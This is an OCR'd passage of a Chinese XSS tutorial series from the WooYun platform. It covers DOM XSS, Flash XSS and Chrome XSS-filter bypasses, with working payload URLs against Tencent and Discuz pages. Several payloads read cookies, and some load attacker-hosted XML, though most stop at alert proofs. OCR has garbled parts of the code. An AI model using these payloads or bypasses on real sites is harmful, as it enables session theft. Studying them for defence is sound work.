GET /comm_json?callback=commentListCallBack&dtag=1∾=1&cluster=1&sellquali y=0&NewProp=&Property=256&PageNum=1&PageSize=4&&OrderS yle=80&Address=&SaleType=1°ree=1&AuthType=2&BeginPrice=&EndPrice= &KeyWord=&OnlineState=2&Paytype=4&ranking=1&sClassid=%26callback=alert(1) &t=1354861616&g_tk=348624959&g_ty=ls HTTP/1.1					
www.wodyun.org					
图 5.5.2 代码实例					
6.为了看看参数是怎么从页面,传递到了 comm_json 这个接口上的。我们定位到以下代码。					
http://static.paipaiimg.com/js/search.js?t=20121108					
<pre>functioninit() {</pre>					
<pre>varkeyword=decodeURIComp(\$getQuery('keyword')),</pre>					
<pre>type=\$getQuery('type'),</pre>					
<pre>searchtype=\$getQuery('searchtype');</pre>					
option.keyword=keyword;					
option.classId=type;					
option.searchType=searchtype option.searchType;					
<pre>option.beginPrice=\$getQuery('bp');</pre>					
<pre>option.endPrice=\$getQuery('ep');</pre>					
<pre>option.NewProp=\$getQuery('np') \$getQuery('newprop');</pre>					
<pre>option.property=\$getQuery('pro') option.property;</pre>					
<pre>option.cid=\$getQuery('cid');</pre>					
option.Paytype=\$getQuery('pt') option.Paytype;					
option.hongbaoKeyword=\$getQuery('hb');					
<pre>option.conditionStatus=\$getQuery('cs') option.conditionStatus;</pre>					
<pre>option.showType=\$getQuery('show') option.showType;</pre>					
<pre>option.mode=\$getQuery('mode') option.mode;</pre>					
<pre>option.address=decodeURIComp(\$getQuery('adr'));</pre>					
option.orderStyle=\$getQuery('os') option.orderStyle 80;					
option.hideKeyword=\$getQuery('hkwd')=="true"?true:false;					
<pre>option.ptag.currentPage=\$getQuery('ptag') \$getQuery('PTAG');</pre>					
<pre>varpageIndex=\$getQuery('pi'),</pre>					
<pre>pageSize=\$getQuery('ps');</pre>					
<pre>option.pageIndex=(pageIndex&&isPInt(pageIndex))?pageIndex*1:option.pageIndex;</pre>					
option.pageSize=(pageSize&&\$isPInt(pageSize))?pageSize*1:option.pageSize;					
};					
在这个文件里,我们很容易的看出,当前页面参数和 json 参数的对应关系					
option.JSON 参数=\$getQuery("页面参数")					

7. 一个函数让我眼前一亮啊,decodeURIComp。。也就是说,传入的keyword,会解码一次。 也就是说,如果我们

keyword=%26callback=alert(1);

decodeURIComp 就会变为

&callback=alert(1);

为了证明我们的想法:我们直接写利用代码。注意 keyword=那一部分

http://bag.paipai.com/search_list.shtml?type=213280&np=11&pro=256&searchtype=2& cs=0010000&keyword=%26callback=eval(String.fromCharCode(97,108,101,114,116,40,1 00,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41));void&PTAG=20058.13 .13

8. 看效果: 弹了吧



图 5.5.2 测试成功

抓包可以看到, 被动态加载的 keyword 参数, 我们在后面插入了一个 callback, 覆盖了前面的 callback, 如图 5.5.3



同样,看到返回的 comm_j son 的内容

Overview	Request	Response	Summary	Chart	Notes	
1						
2 try(
3	eval(Str	ring.fromCh	arCode(97.1	108 101	114 116	40 100 111 99 117 109 101 110 116 46 99 111 111 107 105 101 41)) word
5	craitan					,
6 (
8 (
9	"retCod	de":"0",				WWW WOOVUD OF
10	'mca'.'	"normal"				www.wooyun.org

图 5.5.4 comm_json 返回内容

(连载中)责任编辑: xiaohui

第6节 DomXss 实例[DiscuzX2.5]

作者:心伤的瘦子

来自: 乌云漏洞提交平台

网址: http://www.wooyun.org/

简要描述:

我们教程的 DOMXSS 就到这里了。最后再给大家送上一个实例。希望大家能够体会到: XSS 的上下文非常重要,如何结合上下文,利用未过滤字符,合理的构造,才是成功的关键。 哎,近几天相信别人有世界末日,跑到一个方舟里避难去了。结果 3 天过后,我发现世界还 是如此的精彩,如此的辉煌,我就又出来了。咱们继续。

这年头,码字不容易,求月票。

详细说明:

1. 我们直接看实例点。

2. 可以看到我们的 aaaaaaaaa 在源代码里有 2 处输出。



www.wooyun.org

图 5.6.1 查看代码

第66页 /共127页

3. 看第2处,我们需要用双引号闭合,但是显然 dz 不会给我们这么明显的机会,被拦截了。

Discuz! System Error

• 您当前的访问请求当中含有非法字符,已经被系统拒绝

PHP Debug

图 5.6.2 输入被拦截

4. 我们把目光放在第一处,这一处很特殊,位于 setTimeout 函数的第一个参数里, setTimeout 的第一个函数会将字符串作为脚本来执行。

我们把这一部分代码提取出来。

<scripttype="text/javascript"reload="1">setTimeout("window.location.href='http: //www.discuz.net/./aaaaaaaaaaa';", 2000);</script>

我们首先能想到的是闭合掉单引号,但是这里单引号已经被过滤了。

/es&mod=login&op=callback&referer=aaaaaaaaaaaaaaaakoauth_toke %amp:formnasn=sssdafjd%amp;searonsubmit=true%amp;source=notsearon t

帖子

track/static/style/issuetrack.css7i9T" />

5. 那么是不是就没有办法了呢?我们可以看到 setTimeout 的第一个参数是字符串;我们前面的教程里说过一次,JS 字符串中,字符还可以表示为 unicode 的形式。即:单引号还可以表示为\u0027 或\x27。带着这个想法,我们可以试试\有没有被过滤。 幸运的是,这里还真没过滤\

&mod=login&op=callback&referer=aaaaaaaaaaaaaaaa\&oauth_

,错误代码: <a target=_blank

3%80%91%E5%85%AC%E5%85%B1%E8%BF%94%E5%9B%9E%E7%A0%81%E8%AF%B4 cation.href ='http://www.discuz.net/./aaaaaaaaaaa'';", 2000); \">如果您的浏览器没有自动跳转,请点击此链接

www.wooyun.org

图 5.6.4 找到突破点

第67页/共127页

6. 接着我们就是构造代码了

首先写好代码。

<scripttype="text/javascript"reload="1">setTimeout("window.location.href='http: //www.discuz.net/./a';alert(document.cookie);a='';",2000);</script>

将里面的引号变为\u0027

<scripttype="text/javascript"reload="1">setTimeout("window.location.href='http: //www.discuz.net/./a\u0027;alert(document.cookie);a=\u0027';",2000);</script>

代入到 URL 里。

http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=a\u
0027;alert(document.cookie);a=\u0027&oauth_token=17993859178940955951&openid=A9
446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&o
auth_vericode=3738504772×tamp=1354305802

可以看到弹出了 cookies, 如图 5.6.5



图 5.6.5 弹出 cookies

7. 其实这里存在一个问题。这段 JS 代码里,第一句是 location. href="某个地址";上面我 们所演示的,是一个 alert,暂停了 location. href 的发生。

如果我们把alert(document.cookie);换成插入某个 JS 文件的脚本代码,就会出现问题。 即:JS 文件还没来得及加载,location.href="某个地址";这句就会被执行,从而跳转到另 外一个页面了,继而导致失效。

8. 所以这里,我们有必要改进下执行 JS 的办法。如下,

我们可以直接让代码变成执行 location. href="javascript:alert(document.cookie)"; location.href='原来的字符串'.替换(所有字符,"新的字符");

<scripttype="text/javascript"reload="1">setTimeout("window.location.href='http: //www.discuz.net/./a'.replace(/.+/,/javascript:alert(document.cookie)/.source); //';",2000);</script>

同上, 替换单引号, 加号什么的。

<scripttype="text/javascript"reload="1">setTimeout("window.location.href='http: //www.discuz.net/./a\u0027.replace(/.\u002b/,/javascript:alert(document.cookie) /.source);//';",2000);</script>

最后利用代码。

http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=a\u
0027.replace(/.\u002b/,/javascript:alert(document.cookie)/.source);//&oauth_tok
en=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature
=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772×tamp=1354305802

可以看到,效果一样,这次就不会发生跳转从而导致加载 JS 失败咯,如图 5.6.6

www.discuz.net/connect.php?receive=yes&mod=lo	gin&op=callback&referer=a\u0027.replace(/.\u002b	///javascript:alert(document.cookie)/.source
设为普页 收藏本站		切纳到宠板
O tiscuz!	Swww.discuz.net 上的网页显示:	売募報号信息 修定已有称号 透出 税分:0 用小器: QQ將募
论坛 广播 沟船 导读 应用	ttma=128593049.736193852.1348766963.134876696 3.1348766963.1; ttmz=128593049.1348766963.1.1.utmcsr=baidu	快速导航 www.wooyun.org

图 5.6.6 JS 成功运行

9. 可以看到,这个实例,和前面 DOMXSS 入门时的例子其实本质上是一样的,不过输出最终进入的函数或者 javascript 语句不一样。

(连载中)责任编辑: xiaohui

第7节 FlashXss入门[navigateToURL]

作者:心伤的瘦子

来自: 乌云漏洞提交平台

网址: http://www.wooyun.org/

简要描述:

接下来,我们将讲解FlashXss。由于乌云及社会各界的白帽子的上报,腾讯目前已经对绝 大多数可能存在问题的Flash进行了修复。使得我在寻找真实案例时着实麻烦了不少。但是 为了使得本教程足够完善和系统,我还是很艰难的找出了一些可以参考的例子。例子本身危 害可能不大,但是希望能够借助例子给新手们描述清楚比较基本的东西。

Flash的 actionscript 脚本目前网络上存在 2 种版本,即 2.0 与 3.0,本次教程先以 as3.0 为例。同时教程还会在如何使用搜索引擎搜索,如何查找关键词及构造利用代码方面进行详细的讲解。

详细说明:

1. 首先, 第一步, 我们需要找到存在缺陷的 FLASH 文件。如何找到这类文件呢?最好的办法, 当然是 GOOGLE 搜索。但是其实很多人是不太会用搜索引擎。或者知道怎么用, 但是不知道 该如何搜索关键词。因而教程的开始, 我们来说一说, 如何搜索关键词。

2. 基本语句肯定是 site:qq. comfiletype:swf

意思是,限定域名为qq.com 文件类型为FLASH 文件。

3. 显然这样会搜索出很多 FLASH 文件,不利于我们后续的漏洞查找,所以我们需要输入某个 关键词来进一步缩小范围。这里我列举一些寻找关键词的方式。

已知存在缺陷的 FLASH 文件名或参数名,如: swfupload, jwplayer 等

多媒体功能的 FLASH 文件名,如: upload, player, music, video 等

调用的外部配置或数据文件后缀,如:xml,php等

前期经验积累下来的程序员特征参数名用词,如:callback, cb, function等

4. 结合以上经验,本例使用其中第三条:

我们搜索: site:qq.comfiletype:swfinurl:xml

可以找到这个 FLASH

http://imgcache.qq.com/liveportal_v1/swf/carousel.swf?v=20101111&dp=http://v.qq .com/doco/pic.xml

5. 如果你对 FLASH有一定了解或者你天资聪慧的话,通过以上地址,你或许能猜到这个 FLASH 会调用 http://v.qq.com/doco/pic.xml 这个 XML 文件的数据,为了看看是什么数据,我们 可以使用抓包软件【这里我使用的是 charleswebproxy】来看看。


6. 我们看看 http://v. qq. com/doco/pic. xml 的内容,对应着 FLASH 来看,如图 5.7.1

7. 这里我们重点关注的是 xml 里的<link>结点。也就是当我们点击图片时,会跳转到 link 所指向的地址。

8. 接着我们先说下基础知识。要实现上面点击图片,打开链接的功能,在FLASH 里通常以以下代码来实现的。

当图片点击时执行函数 A

函数 A 内容如下:

//as3.0版本

navigateToURL(newURLRequest(link), "_self");

//as2.0版本

getURL(link, "_self");

其中 link 就是被打开的链接。

9. 但是这里存在一个问题,如果 link 是" javascript:alert(1)"

那么就可以执行 JS 代码了。这里的点击执行代码的效果类似于网页里的

<ahref="javascript:alert(1)">点我弹出1

10. 基于以上基础知识,我们可以先来反编译一下腾讯的 FLASH 文件,看看是不是上面这样

第 70页 /共 127页

的。

这里我用到的反编译软件是 actionscriptviewer2009.

把下载好的 FLASH 文件,拖到软件里,然后把 AS 都保存出来,保存为文本文件,如图 5.7.2



图 5.7.2 下载并保存

如上图,我们可以看到 AS 代码具有目录结构,这种是 AS3 的。如果不是这样目录的样子,则是 AS2 的代码。

由于我们要定位的是使用到 link 的代码。我们打开保存的 as 代码,进行搜索,如图 5.7.3



图 5.7.3 搜索关键字

可以看到,当点击图片时,直接将数据里的link 作为参数传递到了URLRequest 中。 11.既然如此,我们把http://v.qq.com/doco/pic.xml 给下载下来, 将 xml 文件里的<link>部分修改一下,如图 5.7.4



http://itsokla.duapp.com/pic.xml

否则失败 www.wooyun.org

图 5.7.6 流程图

15. 因而,我们要允许来自 imgcache. qq. com 的 FLASH 文件,访问我们的 xml 文件才行。 在我们自己网站的根目录下,放置一个 crossdomain. xml

<?xmlversion="1.0"?>

< cross-domain-policy >

<allow-access-fromdomain="*.qq.com"/>

</cross-domain-policy>

16. 最后,看看我们的效果。点击图片时,触发,如图 5.7.7

imgcache.qq.com/liveportal_v1/swf/carousel.swf?v=20101111&dp=http://itsokla.duapp.com/pic.xml



图 5.7.7 成功触发 xss

(连载中)责任编辑: xiaohui

第8节 FlashXss 进阶[ExternalInterface. call 第一个

参数]

作者:心伤的瘦子

来自: 乌云漏洞提交平台

网址: http://www.wooyun.org/

简要描述:

除了上一节讲到的 navigateToURL/getURL 之外呢,另一个经常存在 XSS 缺陷的 as 函数就是 ExternalInterface.call,此函数作为 FLASH 与宿主页面 javascript 通信的接口,一般来 说,有"2"个参数,第一个参数为所调用 js 函数名,后续的其他参数则为所调用的 js 函 数的参数。那么在参数可控的情况下,不论是第一个参数或是后续参数可控,我们均能加以 利用实现 XSS。本节先说一说第一个参数可控的情况。

详细说明:

1. 先从程序员的角度说下基础知识,有时候,我们需要在FLASH 里调用当前页面中 javascript 函数,例如:一个简单的需求,我们要在游戏加载完成后,执行弹出1的操作。 javascript 代码:

alert(1)

as 代码

ExternalInterface.call("alert", "1");

2. 有的程序员就会觉得,直接弹出1太丑了吧。于是他自己写个 js 的函数

functionmyalert(str) {

//显示一个漂亮的浮动层,并且把 str 显示在上面。

然后在 as 里

ExternalInterface.call("myalert", "1");

3. 又有一天,另外一个程序员觉得上面那个程序员写的东西不错,但是他的 JS 函数名不叫 myalert,于是喊那个程序员改下 as 代码。于是那个程序员觉得,免得以后老是有人喊我改 代码,他就将代码写成了下面这个样子。

varfunc:String=root.loaderInfo.parameters.func;//接受FLASH所带的func 参数 ExternalInterface.call(func, "1");

这样一来,其他想用这个 FLASH 的人,不需要修改 FLASH,只需要调用 FLASH 的时候带上参数即可。

比如我的 JS 函数是 newalert, 我只需要按照下面这么调用:

http://some.com/xxx.swf?func=newalert

4. 上述过程提高了程序的可重用性,为开发人员带来了极大的便利,但是却是缺乏安全考虑的。

攻击者可以采用以下的方式来执行自己的代码

http://some.com/xxx.swf?func=(function() {alert("hijack")})

5. 为了方便理解,我们可以将

ExternalInterface.call("函数名","参数1");

看成 JS 里的

函数名("参数1");

而 FLASH 里实际最后执行的 JS 代码,形式如下(至于下面这句哪里来的,暂时不表):

try{__flash__toXML(函数名("参数1"));}catch(e){"<undefined/>";}

因而函数名部分也可以写为(function() {alert("hijack")})的形式。

6. 上面说的是理论基础,有了这个基础,我们来看实例,就比较简单了。

http://quan.qq.com/swf/swfupload.swf

7. 怎么反编译,见上一篇。我们来看怎么查找缺陷。

8. 因为这是一个 AS3. 0 的 FLASH 文件,我们首先确定 FLASH 是否有接受参数。

as3.0 接受参数的方法,所有参数存放在 root. loaderInfo. parameters 对象里。

例如 aaa. swf?a=1&b=2&c=3,

那么 root. loaderInfo. parameters 则等于

{

″a″:1,

*"*b*"*:2,

″c″:3

9. 我们可以定位到 movieName 变量

THE PART OF A DAY OF A DAY	eget.Tureo	(業務下一个の)
	方向	取消

(root.loaderInfo.parameters.bu

} catch(ex:Object) {
 self.SetButtonDisabled(false);

;; self.stage.addChild(img); this.movieName = decodeURIComponent(root.<mark>loaderInfo</mark>pparamete**X80/M6/VF6N9/M6**);<u>o</u>F<u>G</u>

图 5.8.1 定位变量

可以看出,FLASH的 movieName 参数,存放到了 this. movieName 中。

第 74页 /共 127页

10. 进一步, this. movieName 被带入到了 this. flashReady_Callback 及其它变量。



http://quan.qq.com/swf/swfupload.swf?movieName=aaaaaaaaa

那么 this.flashReady_Callback 就等于以下内容。 SWFUpload.instances["aaaaaaaa"].flashReady 最终调用的是

第 75页 /共 127页

ExternalInterface.call('SWFUpload.instances["aaaaaaaaa"].flashReady');



面一行不好看懂的话,写的好看点。

try{

__flash_toXML(SWFUpload.instances["aaa"])//此行代码,因为SWFUpload 未定义, 出错,跳转到 catch 部分 }catch(e) { alert(1);//这里将会被执行。 }; //"].flashReady("参数1"));}catch(e) {"<undefined/>";} 16.最后,我们把构造的代码,放进 FLASH 的参数里

http://quan.qq.com/swf/swfupload.swf?movieName=aaa"])}catch(e){alert(1)};//可以看到成功执行 alert(1),如图 5.8.6



图 5.8.6 成功执行

(连载中)责任编辑: xiaohui

第9节 FlashXss 进阶 [ExternalInterface. call 第二个

参数]

作者:心伤的瘦子

来自: 乌云漏洞提交平台

网址: http://www.wooyun.org/

简要描述:

讲完 ExternalInterface.call 的第一个参数,我们接着来讲第"2"个参数,之所以2打上 引号,因为 call 函数的原型是: call(functionName:String,...arguments):*,即后面可 以有很多很多个参数,我们统称为第2个参数。有时候我们会遇到

ExternalInterface.call("xxxxx","可控内容");的情况,那么这种情况下,如何构造 XSS 呢?

详细说明:

1. 有了上一节教程的基础,这次我们直接见实例。

通过 GOOGLE 搜索, site:qq.comfiletype:swfinurl:xml

我们可以找到以下 FLASH。

http://imgcache.qq.com/qzone_v4/2/default_menu_horizontal.swf?xml_path=http://imgcache.qq.com/qzone/client/custom_menu/custom_menu.xml

2. 借鉴上上节教程的思路,我们可以看看

http://imgcache.qq.com/qzone/client/custom_menu/custom_menu.xml 里是个什么内容, 如图 5.9.1

<?xml version="1.0" encoding="UTF-8"?> - <navigation> <menu href="1" name="主页"/> <menu href="2" name="日志"/> <menu href="3" name="音乐盒"/> <menu href="4" name="留言板"/> <menu href="5" name="相册"/> <menu href="6" name="迷你屋"/> <menu href="7" name="个人档"/> <menu href="8" name="好友秀"/> </navigation>

www.wooyun.org

图 5.9.1 查看代码

3. 好像看不出来是个啥用途,我们反编译 FLASH 文件。

View List by SV	VF Order Fin <u>d</u> :	/	G 6 items listed	
Туре	Location	Frame No	Instance of	Size
Frame action	📱 Timeline 🔭	1		2 KB (471
Frame action	Symbol 15 MovieCli	1		2 B (2 acti
Clip action	Symbol 15 MovieCli	1	{selected_mc} Sy	36 B (6 ac
Frame action	Symbol 15 MovieCli	2		2 B (2 acti
Frame action	Symbol 15 MovieCli	3		2 B (2 acti
Frame action	Symbol 22 MovieCli	0		4 KB (109
	这里显	示是这样一行	一行的,就是AS2的	

图 5.9.2 反编译 flash 文件

4. 接着我们先看看是否有 getURL, External Interface. call 之类的。

_local4.bold = true: Vi 查找		×	1	
wi 查找内容 @): call 方 } tl □区分大小写 ©) ●	5向 ●向上W 〇向下W	遭损下一个 (2) 取消	le = false; rmat(_local3); 14);	
ti function item_onRelease(var _local2 = Number setSelected(_local2) flash.external.Exter	() { r(thisparentna); rnalInterface.cal	ume.split("_") ("custom_menu_	[2]); _swf", menu_array[_loca	al2].href);
thisparent.gotoAnd } for the structure of the structure	iStop(1);			www.wooyun.org

第 78页 /共 127页

图 5.9.3 查找关键字

可以看到,我们搜索到的是下面这句:

flash.external.ExternalInterface.call("custom_menu_swf", menu_array[_local2].hre
f);

那么 call 的第一个参数是被限定死了~, 第2个参数为 menu_array[_local2]. href,

如果你对 AS 有一点了解,不难看出 menu_array 是一个数组,那么_local2 应该就是数组的 下标,

而从单词含义"菜单数组"我们不难联想到上面 xml 文件里的数据。



图 5.9.4 代码实例

5. 换句话说,这里我们的可以控制 call 的第2个参数。同教程 14 中的方法,我们下载下来 http://imgcache.qq.com/qzone/client/custom_menu/custom_menu.xml。先做点修改,然 后上传到自己网站上。

我们将代码里日志那一行的 href 改掉。

<menuname="日志"href="\",alert(1)"/>

上传修改后的文件,同时记得将 crossdomain. xml 上传至自己的网站根目录下哦~~(见教程 14)

6. 接着我们载入我们自己指定的 XML 文件。

http://imgcache.qq.com/qzone_v4/2/default_menu_horizontal.swf?xml_path=http://i
tsokla.duapp.com/custom_menu.xml

7. 接着我们打开 Firefox 浏览器。有人会问,你怎么突然要用 Firefox 啊! 疯了么!! 同志 们,我没疯,只是因为 FF 可以捕获到这里的错误,而 chrome 捕获不到!

我们打开 Firefox 后,访问上面的地址,点击【日志】按钮!!

Ctrl+shift+J打开错误控制台!可以看到以下报错!

http://il.sinaimg.cn/qc/2012/1225/huohu1.jpg

```
2012/12/25 20:13:13
SyntaxError: missing ) after argument list
try { __flash__toXNL(custon_nenu_swf(*\\*, alert(1)); //*)); } ; } catch (e) { *<undefined/>*; }
WWW.WOOVUD.OFG
```

图 5.9.5 报错信息

8. 记性好的朋友,会马上想起上一节里我们说到的。 ExternalInterface.call("函数名","参数1"); 实际上执行的是以下内容,

第 79页 /共 127页

try{__flash__toXML(函数名("参数1"));}catch(e){"<undefined/>";}

我们就是从 FF 这里捕获错误到这点的!(:)当然也还会有其他方法)。

为什么会出错呢?我们一起来看看。

9. 当我们点击【日志】按钮时,会调用。

flash.external.ExternalInterface.call("custom_menu_swf", menu_array[_local2].hre
f);

而 menu_array[_local2].href 等于\",alert(1),进而,我们代入完整的代码,即如下:

try{__flash__toXML(custom_menu_swf("\\",alert(1)"));}catch(e){"<undefined/>";}

转换过程如下图:



图 5.9.6 转换过程

可以看到转换之后,JS代码有点乱,引号到处飞,括号无处寻,因而报错了! 10.那么我们怎么构造正确的利用代码呢?其实有上一节的知识并不难!

try{__flash__toXML(custom_menu_swf("构造点构造点"));}catch(e){"<undefined/>";}

首先第一步,要注入自己代码,首先要闭合掉双引号!

try{flashtoXML(custom_menu_swf("构造点"),alert("构造点				
"));}catch(e) {" <undefined></undefined> ";}				
但是从上面转换流程,我们可以看到, "会变成\",即变成了下面的样子, 还是突破不出去。				
try{flashtoXML(custom_menu_swf("构造点\"),alert(\"构造点				
")):}catch(e){" <undefined></undefined> ":}				



www.wooyun.org

图 5.9.7 没能突破 不过非常庆幸的事情是,这里没有对\进行转义。我们可以通过输入\"来构造。JS 的字符串 第 80页 /共 127页

里,\用\\表示。如下:

try{	_flash	_toXML(custom_menu	_swf("构造点\\"))}catch(e){alert(1)}//构造点
"));}c	catch(e)	{" <undefined></undefined> ";}	

图片分析如下:



图 5.9.9 成功执行代码

(连载中)责任编辑: xiaohui

第 10 节 XSS 过滤器绕过[通用绕过]

作者:心伤的瘦子

来自: 乌云漏洞提交平台

网址: http://www.wooyun.org/

简要描述:

关于反射型的基本东西,暂时就到这啦,如果后面有什么好的 case,再做增补。最近,有些人会问到怎么绕过浏览器的 XSS 过滤器,所以从这节开始,给出点绕过的例子。当然这些绕过浏览器的方法,不是万能的。不同浏览器,不同场景都会存在差异。满足场景要求时, 才可以使用。

IE 的一些绕过见乌云上的@gainover, @sogili 的例子,我们教程就不再提及了。

此文给出的是一个来自 sogili 分享的 chrome 下绕过过滤器的方法,在腾讯某处 XSS 上的应用。

这一类都算是"结合了一定场景",绕过了浏览器自身的防御机制,具有一定的通用性,我 们称为"通用绕过"(瞎起的名字,别在意)。但是在后续版本的浏览器中,这些技巧可能 会被浏览器干掉从而失效。再次强调:通用不是全部都行,意思是所适用的场景实际发生的 概率比较高!

详细说明:

1. 其实就是个普通的 XSS 点, uin 参数没有对任何字符进行过滤。

http://bangbang.qq.com/php/login?game=roco&uin="><imgsrc=lonerror=alert(1)>&wor ld=5&roleid=44583443&level=8&role=%2

正是由于这个点什么都没过滤,浏览器自身的防御机制也最好发挥作用,瞧瞧, chrome 拦截了。。





▲ ► Resource interpreted as Image but transferred with MIME type image/jpg: "<u>http://vpic.video.gg.com/5120115</u>; ▲ ► Resource interpreted as Image but transferred with MIME type text/html: "<u>http://isdspeakwww.wob6verkiora</u>

图 5.10.1 被 chrome 拦截

2. 有的新手,不知道有过滤器的,更是会觉得"啊,这是怎么回事,怎么不行啊,明明可以的。。"

我们只要看到 console 里有上面那句,就说明 chrome 的过滤器大发神威了!!

3. 我们也看看源码,如图 5. 10. 2

危害部分被和谐了。

4. 那么怎么绕过呢?这里直接说方法。

5.首先要求缺陷点,允许<,>。其次,要求缺陷点的后方存在</script>标签。我们看看当前

的这个点的代码。	
→ C bangbang.qq.com/php/login?game=roco&uir	n="> <img%20src=1%20onerror=alert(1)></img%20src=1%20onerror=alert(1)>
100 200 300 400	500 500 700
l8px × 20px	
帮帮精灵	
/	反演
llements 🕢 Resources 💿 Betwork 💁 Sources 🕂 Limeline 🕅	Profiles 🎑 Audits 🔀 Console
<pre>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>></pre>	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-trar q.com">
"">可以看到,过透器把有害的部分干掉了。 <input id="sServerName" type="hidden" value="roco"/> <input id="sWooldId" type="hidden" value="5"/> 图 5.10.2 查看过滤器	www.wooyun.org
<pre> <inputtype="hidden"id="sclientuin"value=""><in <scripttype="text/javascript" src="http://ping;</pre></td><td>ngsrc=1onerror=alert(1)>"> js.qq.com/tcss.ping.js"></in></inputtype="hidden"id="sclientuin"value=""></pre>	
6. 可以看到上面的要求均满足。我们就可以使用以下	技巧。
<pre><scriptsrc=data:,alert(1)<!< pre=""></scriptsrc=data:,alert(1)<!<></pre>	
7. 代入到我们的利用代码里。	
http://bangbang.qq.com/php/login?game=roco&uir world=5&roleid=44583443&level=8&role=%2	n="> <scriptsrc=data:,alert(1)<!&< td=""></scriptsrc=data:,alert(1)<!&<>
这次,我们就成功啦。	
bangbang.qq.com/php/login?game=roco&uin=*> <script< td=""><td>%20src=data:,alert(1)<!--&world=5&roleid=☆</td--></td></script<>	%20src=data:,alert(1) &world=5&roleid=☆</td
bangbang.qq.com 上的网页显示:	

图 5.10.3 成功执行

确定

www.wooyun.org

(连载中)责任编辑: xiaohui

第11节 XSS 过滤器绕过[猥琐绕过]

作者:心伤的瘦子 来自: 乌云漏洞提交平台 网址: http://www.wooyun.org/

简要描述:

有些时候,通用的绕过技巧并不可行,这个时候我们就得观察缺陷点的周围环境,想想其它 办法咯。"猥琐绕过"与通用绕过不同的是,它通用性小,往往只是特例。 详细说明:

1. 直接看实例点:

http://qzs.qq.com/qzone/v6/custom/custom_module_proxy.html#siDomain=1&g_StyleID =aaaaaaaaaaa

2. 可以看出,这是一个 DOMXSS 的点,如图 5.11.1



图 5.11.1 发现 XSS 点

3. 我们看看源码。

```
....
varsiDomain=paras['siDomain'],
    g_StyleID=paras['g_StyleID'].replace("v6/", "");
    if(siDomain.indexOf(".qq.com")>-1){//防止qzs.qq.com
        siDomain=paras['siDomain']="qzonestyle.gtimg.cn";
    }
    document.write('<linkhref="http://'+siDomain+'/qzone_v6/gb/skin/'+g_StyleID
+'.css"rel="stylesheet"/><linkhref="http://'+siDomain+'/qzone_v6/home_normal.cs
s"rel="stylesheet"/>');
...
```

不难看出, siDomain 与 g_StyleID 都是地址栏里获取过来, 然后通过 document. write 输出 到页面中。

4. 利用先前教程的知识,我们不难构造出利用代码。

http://qzs.qq.com/qzone/v6/custom/custom_module_proxy.html#siDomain=1&g_StyleID ="><script>alert(document.cookie)</script>

可以看到, IE 下成功弹出。



图 5.11.2 IE 下成功弹框 5. 但是到了 chrome 下,又被拦截了。。

+	-> C	gzs.qq.com/qzone/v	6/custom/custom_module_	proxy.html#siDomain:	=1&g_StyleID="> <sci< th=""></sci<>
---	------	--------------------	-------------------------	----------------------	-------------------------------------

.css″ rel=″stylesheet″ /> 自定义模块内容载入中...

Refused to execute a JavaScript script. Source code of script found within request.

Ouncaught TypeError: Cannot call method 'indexOf' of null

www.wooyun.org

图 5.11.3 谷歌下被拦截

6. 这个时候怎么办呢?因为这里接受地址栏的参数时,是以"="分割,因而我们的代码中是 不允许携带等号的。故上一篇的技巧不能拿到这里来使用了!

7. chrome 拦截,是有一定的拦截规则的,只有它觉得是恶意代码的才会去拦截。这个时候,就需要我们"观察地形"啦!!

我们仔细看看这句。

g_StyleID=paras['g_StyleID'].replace("v6/", "");

8. 不难看出,这里会对g_StyleID进行一次替换,将v6/替换为空。那么如果我们的g_StyleID 写为下面的情况

<scrv6/ipt>alert(document.cookie)</script>

经过替换后,就会变成。

<script>alert(document.cookie)</script>

但是 chrome 并不会把<scrv6/ipt>alert(document.cookie)</script>当作恶意的,是不是 就可以绕过了?

我们试试。

http://qzs.qq.com/qzone/v6/custom/custom_module_proxy.html#siDomain=1&g_StyleID ="><scv6/ript>alert(document.cookie)</script>

果然可以,如图5.11.4

le_proxy.html#siDomain=1&g_StyleID="><scv6/ript>alert(document.cookie)</script>



www.wooyun.org

图 5.11.4 成功弹框

这样一来,我们这个 XSS,就不会被浏览器的 XSS 过滤器所蹂躏啦!

(连载中)责任编辑: xiaohui

第12节 存储型 XSS 入门[什么都没过滤]

作者:心伤的瘦子

来自: 乌云漏洞提交平台

网址: http://www.wooyun.org/

简要描述:

存储型和反射型相比,只是多了输入存储、输出取出的过程。简单点说:

反射型是: 输入一输出;

存储型是: 输入--进入数据库*--取出数据库--输出。

这样一来,大家应该注意到以下差别:

反射型是:绝大部分情况下,输入在哪里,输出就在哪里。

存储型是:输入在A处进入数据库,而输出则可能出现在其它任何用到数据的地方。

反射型是:输入大部分位于地址栏或来自 DOM 的某些属性,也会偶尔有数据在请求中(POST 类型)

存储型是:输入大部分来自 POST/GET 请求,常见于一些保存操作中。

因而我们找存储型的时候,从一个地方输入数据,需要检测很多输出的点,从而可能会在很多点发现存储型 XSS。

至于如何根据输出来构建存储型 XSS 的代码,和反射型没有任何区别,都是看输出的上下文来进行。

从程序员过滤代码的角度来讲,我们给之后的教程走向分个类:

数据需要过滤,但是未过滤。导致 XSS。

比如:昵称、个人资料。

业务需求使得数据只能部分过滤,但过滤规则不完善,被绕过后导致 XSS。

比如: 日志、邮件及其它富文本应用。

本节先看一个最基本的情况,该过滤,但是什么都没过滤的情况。

(数据库:不一定是像 mysql 那样的数据库,只要是能存储数据的都算。)

详细说明:

1. 找存储型的时候, 需要有一颗多疑的心, 一双善于发现的眼睛。我们来看看实例!

2. 某一天, 某一群, 与某一妹子有以下对话, 如图 5. 12. 1

给你们唱首歌	_
唱首歌	
啥歌?	
抓泥鳅?	
沂蒙山小调怎么样	
通 我才开始学。	-
录了发上来听听。	_
我今天才学的。受累听着	www.wooyun.org
图 5.12.1 对话内容	

第86页 /共127页

3. 过了一会,就来了这么一条消息,原来是手机 QQ 录了发上来的,如图 5. 12. 2



图 5.12.2

4. 这个时候,我们就会想,这个发上来的页面会不会有 XSS 呢? 5. 我们来看看页面的结构。

